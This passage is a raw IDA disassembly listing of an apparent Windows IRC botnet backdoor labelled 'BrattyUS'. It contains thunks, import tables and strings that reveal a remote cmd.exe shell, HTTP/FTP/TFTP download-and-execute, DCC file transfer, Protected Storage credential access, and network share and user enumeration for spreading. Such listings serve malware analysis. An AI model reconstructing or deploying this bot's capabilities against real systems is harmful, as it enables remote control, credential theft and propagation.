ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: BrattyUS:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: BrattyUS:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: BrattyUS:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: BrattyUS:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: BrattyUS:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r ; BrattyUS:loc_42001Bo dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: sub_4167F1+31r dword_4170F8 dd 77E7C2C4h ; DATA XREF: sub_4167F1+A8r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: BrattyUS:003EB510o ; sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: BrattyUS:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: sub_4167F1+201r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: sub_4167F1+5o dd offset sub_416AC5 dd offset sub_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; BrattyUS:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: BrattyUS:off_41DEB0o ; BrattyUS:off_41DED0o off_4172C0 dd offset off_41DEB0 ; DATA XREF: BrattyUS:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: BrattyUS:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: BrattyUS:004172B0o dd offset off_41DEB0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DED0 ; DATA XREF: BrattyUS:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: BrattyUS:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: BrattyUS:004172B8o dd offset off_41DED0 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: BrattyUS:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DEB0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: BrattyUS:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 30Eh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er ... dd offset dword_41805C dd offset aKnJnuXxQEzds ; "ߕ帚ɟ" dd offset dword_418014 dd 0 dword_418014 dd 0BC8A9BAAh, 8B88998Dh, 93C484B7h, 0C9AAA3F9h, 87ABB697h ; DATA XREF: BrattyUS:0041800Co dd 0BCB187A4h, 98D9B59Eh, 0CA86A5E3h, 89AA8EA5h, 2 dup(0) aKnJnuXxQEzds db 'ߕ帚ɟ',0 ; DATA XREF: BrattyUS:00418008o align 4 dd 0 dword_41805C dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh ; DATA XREF: BrattyUS:00418004o dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh dd 83E4AAACh, 0D48C84F9h, 8DBAAB8Fh, 0BBh, 0 dword_418098 dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh ; DATA XREF: BrattyUS:off_418000o dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh dd 83E4AAACh, 0F9h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 